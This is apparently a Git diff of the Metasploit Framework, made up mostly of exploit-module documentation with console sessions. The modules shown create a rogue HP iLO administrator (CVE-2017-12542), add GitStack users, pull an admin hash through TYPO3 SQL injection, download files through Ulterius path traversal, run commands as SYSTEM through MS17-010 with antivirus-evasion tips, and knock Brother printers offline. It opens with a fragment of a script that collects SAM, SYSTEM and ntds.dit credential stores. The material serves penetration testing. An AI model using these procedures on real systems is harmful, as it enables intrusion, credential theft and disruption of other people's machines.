(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||
if (Test-Path "All.cab"){
|
||||
Remove-Item "All.cab"
|
||||
}
|
||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||
Remove-Item ntds.dit
|
||||
Remove-Item SAM
|
||||
Remove-Item SYSTEM
|
||||
@@ -0,0 +1,25 @@
|
||||
netlogon
|
||||
lsarpc
|
||||
samr
|
||||
browser
|
||||
atsvc
|
||||
DAV RPC SERVICE
|
||||
epmapper
|
||||
eventlog
|
||||
InitShutdown
|
||||
keysvc
|
||||
lsass
|
||||
LSM_API_service
|
||||
ntsvcs
|
||||
plugplay
|
||||
protected_storage
|
||||
router
|
||||
SapiServerPipeS-1-5-5-0-70123
|
||||
scerpc
|
||||
srvsvc
|
||||
tapsrv
|
||||
trkwks
|
||||
W32TIME_ALT
|
||||
wkssvc
|
||||
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
|
||||
db2remotecmd
|
||||
+11
-8
@@ -3,24 +3,27 @@
|
||||
|
||||
To run `msfconsole`
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --service-ports ms
|
||||
```
|
||||
or
|
||||
```bash
|
||||
./docker/bin/msfconsole
|
||||
```
|
||||
|
||||
To run `msfvenom`
|
||||
or
|
||||
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps ms ./msfvenom
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms
|
||||
```
|
||||
or
|
||||
To run `msfvenom`
|
||||
```bash
|
||||
./docker/bin/msfvenom
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfvenom
|
||||
```
|
||||
|
||||
You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
|
||||
|
||||
### But I want reverse shells...
|
||||
|
||||
@@ -27,4 +27,4 @@ if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||
exit $?
|
||||
fi
|
||||
|
||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
|
||||
Executable
+20
@@ -0,0 +1,20 @@
|
||||
#!/bin/bash
|
||||
|
||||
MSF_USER=msf
|
||||
MSF_GROUP=msf
|
||||
TMP=${MSF_UID:=1000}
|
||||
TMP=${MSF_GID:=1000}
|
||||
|
||||
# don't recreate system users like root
|
||||
if [ "$MSF_UID" -lt "1000" ]; then
|
||||
MSF_UID=1000
|
||||
fi
|
||||
|
||||
if [ "$MSF_GID" -lt "1000" ]; then
|
||||
MSF_GID=1000
|
||||
fi
|
||||
|
||||
addgroup -g $MSF_GID $MSF_GROUP
|
||||
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
|
||||
|
||||
su-exec $MSF_USER "$@"
|
||||
@@ -0,0 +1,42 @@
|
||||
This module exploits the CVE-2017-12542 for authentication bypass on HP iLO, which is 100% stable when exploited this way, to create an arbitrary administrator account.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/admin/hp/hp_ilo_create_admin_account`
|
||||
3. Set `RHOST`
|
||||
4. run `check` to check if remote host is vulnerable (module tries to list accounts using the REST API)
|
||||
5. Set `USERNAME` and `PASSWORD` to specify a new administrator account credentials
|
||||
6. run `run` to actually create the account on the iLO
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
The username of the new administrator account. Defaults to a random string.
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
The password of the new administrator account. Defaults to a random string.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### New administrator account creation
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set RHOST 192.168.42.78
|
||||
RHOST => 192.168.42.78
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > check
|
||||
[+] 192.168.42.78:443 The target is vulnerable.
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set USERNAME test_user
|
||||
USERNAME => test_user
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set PASSWORD test_password
|
||||
PASSWORD => test_password
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > run
|
||||
|
||||
[*] Trying to create account test_user...
|
||||
[+] Account test_user/test_password created successfully.
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) >
|
||||
```
|
||||
@@ -0,0 +1,106 @@
|
||||
## Description
|
||||
|
||||
GitStack through v2.3.10 contains unauthenticated REST API endpoints that can be used to retrieve information about the application and make changes to it as well. This module generates requests to the vulnerable API endpoints. This module has been tested against GitStack v2.3.10.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The GitStack application provides REST API functionality to list application users, list application repositories, create application users, etc. Several of the application's REST API endpoints do not require authentication, which allows those with network-level access to the application to take advantage of these unprotected requests.
|
||||
|
||||
Application user accounts created through the REST API do not have access to the admin web interface, but the accounts can be added and removed from repositories using additional API requests.
|
||||
|
||||
## Actions
|
||||
|
||||
**LIST**
|
||||
|
||||
List application user accounts.
|
||||
|
||||
Note: The account `everyone` is a default account.
|
||||
|
||||
**LIST_REPOS**
|
||||
|
||||
List application repositories.
|
||||
|
||||
**CREATE**
|
||||
|
||||
Create a user account and add the account to all available repositories.
|
||||
|
||||
**CLEANUP**
|
||||
|
||||
Remove the specified application user account from all available repositories and delete the application account.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install a vulnerable GitStack application
|
||||
- [ ] Create a few application user accounts
|
||||
- [ ] Create a few application repositories
|
||||
- [ ] `./msfconsole`
|
||||
- [ ] `use auxiliary/admin/http/gitstack_rest`
|
||||
- [ ] `set rhost <rhost>`
|
||||
- [ ] `run`
|
||||
- [ ] Verify the application user list that is returned
|
||||
- [ ] `set action LIST_REPOS`
|
||||
- [ ] `run`
|
||||
- [ ] Verify the repository list that is returned
|
||||
- [ ] `set username <username>`
|
||||
- [ ] `set password <password>`
|
||||
- [ ] `set action CREATE`
|
||||
- [ ] `run`
|
||||
- [ ] On the application verify that the user has been created
|
||||
- [ ] On the application verify that the user has access to the repositories
|
||||
- [ ] `set action CLEANUP`
|
||||
- [ ] `run`
|
||||
- [ ] On the application verify that the user doesn't have access to the repositories
|
||||
- [ ] On the application verify that the user has been deleted
|
||||
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GitStack v2.3.10 on Windows 7 SP1 x64
|
||||
|
||||
```
|
||||
msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -r test.rc
|
||||
[*] Processing test.rc for ERB directives.
|
||||
resource (test.rc)> use auxiliary/admin/http/gitstack_rest
|
||||
resource (test.rc)> set rhost 172.22.222.122
|
||||
rhost => 172.22.222.122
|
||||
resource (test.rc)> run
|
||||
[*] User List:
|
||||
[+] rick
|
||||
[+] morty
|
||||
[+] everyone
|
||||
[*] Auxiliary module execution completed
|
||||
resource (test.rc)> set action LIST_REPOS
|
||||
action => LIST_REPOS
|
||||
resource (test.rc)> run
|
||||
[*] Repo List:
|
||||
[+] brainalyzer
|
||||
[+] c137
|
||||
[*] Auxiliary module execution completed
|
||||
resource (test.rc)> set action CREATE
|
||||
action => CREATE
|
||||
resource (test.rc)> run
|
||||
[+] SUCCESS: msf:password
|
||||
[+] User msf added to brainalyzer
|
||||
[+] User msf added to c137
|
||||
[*] Auxiliary module execution completed
|
||||
resource (test.rc)> set action CLEANUP
|
||||
action => CLEANUP
|
||||
resource (test.rc)> run
|
||||
[+] msf removed from brainalyzer
|
||||
[+] msf removed from c137
|
||||
[+] msf has been deleted
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
After CREATE, but before CLEANUP, use git to clone the remote repositories.
|
||||
|
||||
```
|
||||
msfdev@simulator:~/money-bugs$ git clone http://msf:password@172.22.222.122/brainalyzer.git
|
||||
Cloning into 'brainalyzer'...
|
||||
remote: Counting objects: 3, done.
|
||||
Unpacking objects: 100% (3/3), done.
|
||||
remote: Total 3 (delta 0), reused 0 (delta 0)
|
||||
msfdev@simulator:~/money-bugs$ cd brainalyzer/ && ls
|
||||
szechuan_sauce.md
|
||||
```
|
||||
@@ -0,0 +1,49 @@
|
||||
## Description
|
||||
|
||||
News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vulnerability. This module allows an unauthenticated user to exploit the SQL injection vulnerability by generating requests to retrieve the password hash for the admin user of the application. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query.
|
||||
|
||||
To exploit the vulnerability, the module generates requests and sets a value for `order` and `OrderByAllowed`, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash.
|
||||
|
||||
## Options
|
||||
|
||||
**PATTERN1** and **PATTERN2**
|
||||
|
||||
These patterns are used to determine whether the news articles have been reordered. By default, the module will search for headlines and set the first identified headline to PATTERN1 and the second to PATTERN2.
|
||||
|
||||
**ID**
|
||||
|
||||
The value for query parameter `id` of the page that the news extension is running on.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install [Typo3 VM](https://www.turnkeylinux.org/download?file=turnkey-typo3-14.1-jessie-amd64.ova)
|
||||
- [ ] Launch the VM and configure it
|
||||
- [ ] SSH to the VM
|
||||
- [ ] `cd /var/www/typo3/ && composer require georgringer/news:5.0.0`
|
||||
- [ ] Login to the web interface
|
||||
- [ ] Enable the news extension
|
||||
- [ ] Import [vulnerable page](https://github.com/rapid7/metasploit-framework/files/1015777/T3D__2017-05-20_02-17-z.t3d.zip)
|
||||
- [ ] Enable page
|
||||
- [ ] Verify if page is visble to unauthenticated user and note the id
|
||||
- [ ] `./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost <rhost>; set id <id>; run'`
|
||||
- [ ] Username and password hash should have been retrieved
|
||||
|
||||
## Scenarios
|
||||
|
||||
### News Module 5.0.0 on TYPO3 3.16.0
|
||||
|
||||
```
|
||||
msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost 172.22.222.136; set id 37; run'
|
||||
rhost => 172.22.222.136
|
||||
id => 37
|
||||
[*] Trying to automatically determine Pattern1 and Pattern2...
|
||||
[*] Pattern1: Article #1, Pattern2: Article #2
|
||||
[+] Username: admin
|
||||
[+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp.
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/typo3_news_module_sqli) >
|
||||
```
|
||||
@@ -0,0 +1,64 @@
|
||||
## Description
|
||||
|
||||
This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's `HttpServer.Process` function call. While processing file requests, the `HttpServer.Process` function does not validate that the requested file is within the web server's root directory or a subdirectory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called `fileIndex.db`, which contains filenames and directories located on the server. By requesting `fileIndex.db` and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing `fileIndex.db`, additional requests can be generated to download desired files.
|
||||
|
||||
As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the `fileIndex.db` is usually located at:
|
||||
|
||||
`http://ulteriusURL:22006/.../fileIndex.db`
|
||||
|
||||
Note: 22006 was the default port after setting up the Ulterius Server.
|
||||
|
||||
After retrieving absolute paths for files, the files can be retrieved by sending requests of the form:
|
||||
|
||||
`http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>`
|
||||
|
||||
Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the `HttpServer.Process` function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function.
|
||||
|
||||
> If *path2* includes a root, *path2* is returned.
|
||||
|
||||
## Options
|
||||
|
||||
**PATH**
|
||||
|
||||
This option specifies the absolute or relative path of the file to download. (default: `/…/fileIndex.db`)
|
||||
|
||||
Note: If you are using relative paths, use three periods when traversing down a level in the directory structure. If absolute paths are used, make sure to include the drive letter.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install Ulterius Server < v1.9.5.0
|
||||
- [ ] `./msfconsole`
|
||||
- [ ] `use auxiliary/admin/http/ulterius_file_download`
|
||||
- [ ] `set rhost <rhost>`
|
||||
- [ ] `run`
|
||||
- [ ] Verify loot contains file system paths from remote file system.
|
||||
- [ ] `set path '<DriveLetter>:/<path>/<to>/<file>'`
|
||||
- [ ] `run`
|
||||
- [ ] Verify contents of file
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/ulterius_file_download
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
|
||||
rhost => 172.22.222.122
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > run
|
||||
|
||||
[*] Starting to parse fileIndex.db...
|
||||
[*] Remote file paths saved in: filepath0
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
|
||||
path => C:/users/pwnduser/desktop/tmp.txt
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > run
|
||||
|
||||
[*] C:/users/pwnduser/desktop/tmp.txt
|
||||
[*] File contents saved: filepath1
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) >
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
## Introduction
|
||||
|
||||
MS17-010 and psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
|
||||
|
||||
You can run any command as SYSTEM. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
|
||||
|
||||
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
|
||||
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
|
||||
|
||||
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
|
||||
|
||||
## Vulnerable Server
|
||||
|
||||
To be able to use auxiliary/admin/smb/ms17_010_command:
|
||||
|
||||
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
|
||||
2. The firewall must allow SMB traffic.
|
||||
3. The target must use SMBv1.
|
||||
4. The target must be missing the MS17-010 patch.
|
||||
5. The target must allow anonymous IPC$ and a Named Pipe.
|
||||
|
||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||
|
||||
If you're having trouble configuring an anonymous named pipe,
|
||||
Microsoft's
|
||||
[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously)
|
||||
on the topic may be helpful.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/smb/ms17_010_command
|
||||
msf exploit(psexec) > set RHOSTS 192.168.1.80
|
||||
RHOSTS => 192.168.1.80
|
||||
msf exploit(psexec) > exploit
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you're ready to go.
|
||||
|
||||
**The NAMEDPIPE Option**
|
||||
|
||||
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
|
||||
|
||||
**The LEAKATTEMPTS Option**
|
||||
|
||||
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
|
||||
|
||||
**The DBGTRACE Option**
|
||||
|
||||
Used to debug, gives extremely verbose information.
|
||||
|
||||
**The SMBUser Option**
|
||||
|
||||
This is a valid Windows username.
|
||||
|
||||
**The SMBPass option**
|
||||
|
||||
This can be either the plain text version or the Windows hash.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Automatic Target**
|
||||
|
||||
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
|
||||
|
||||
**Powershell Target**
|
||||
|
||||
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
|
||||
|
||||
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
|
||||
|
||||
**Native Upload Target**
|
||||
|
||||
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
|
||||
SHARE datastore option), and then execute it with psexec.
|
||||
|
||||
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
|
||||
**MOF Upload Target**
|
||||
|
||||
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
|
||||
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
|
||||
|
||||
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
|
||||
caught by antivirus on the target.
|
||||
|
||||
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
@@ -0,0 +1,34 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Versions <= 1.20 of the Debut embedded httpd web server in use by Brother printers are vulnerable to denial of service
|
||||
via a crafted HTTP request. This module will render the printer unresponsive from requests for ~300 seconds.
|
||||
This is thought to be caused by a single threaded web server which
|
||||
has a ~300 second timeout value. By sending a request with a content-length larger than the actual data, the server waits
|
||||
to receive the rest of the data, which doesn't happen until the timeout occurs. This DoS is for all services, not just http.
|
||||
|
||||
This module was successfully tested against a Brother HL-L2380DW series.
|
||||
|
||||
An nmap version scan of the vulnerable service should look similar to:
|
||||
`80/tcp open http Debut embedded httpd 1.20 (Brother/HP printer http admin)`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/dos/http/brother_debut_dos```
|
||||
3. Do: ```set rhost [ip]```
|
||||
4. Do: ```run```
|
||||
5. You should see Success, and manual attempts to browse the web interface don't load.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Brother HL-L2380DW with Debut embedded 1.20
|
||||
|
||||
```
|
||||
resource (brother.rc)> use auxiliary/dos/http/brother_debut_dos
|
||||
resource (brother.rc)> set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
resource (brother.rc)> exploit
|
||||
[*] Sending malformed POST request at 2018-01-24 20:45:52.
|
||||
[+] 1.1.1.1:80 - Connection Refused: Success! Server will recover about 2018-01-24 20:50:52
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user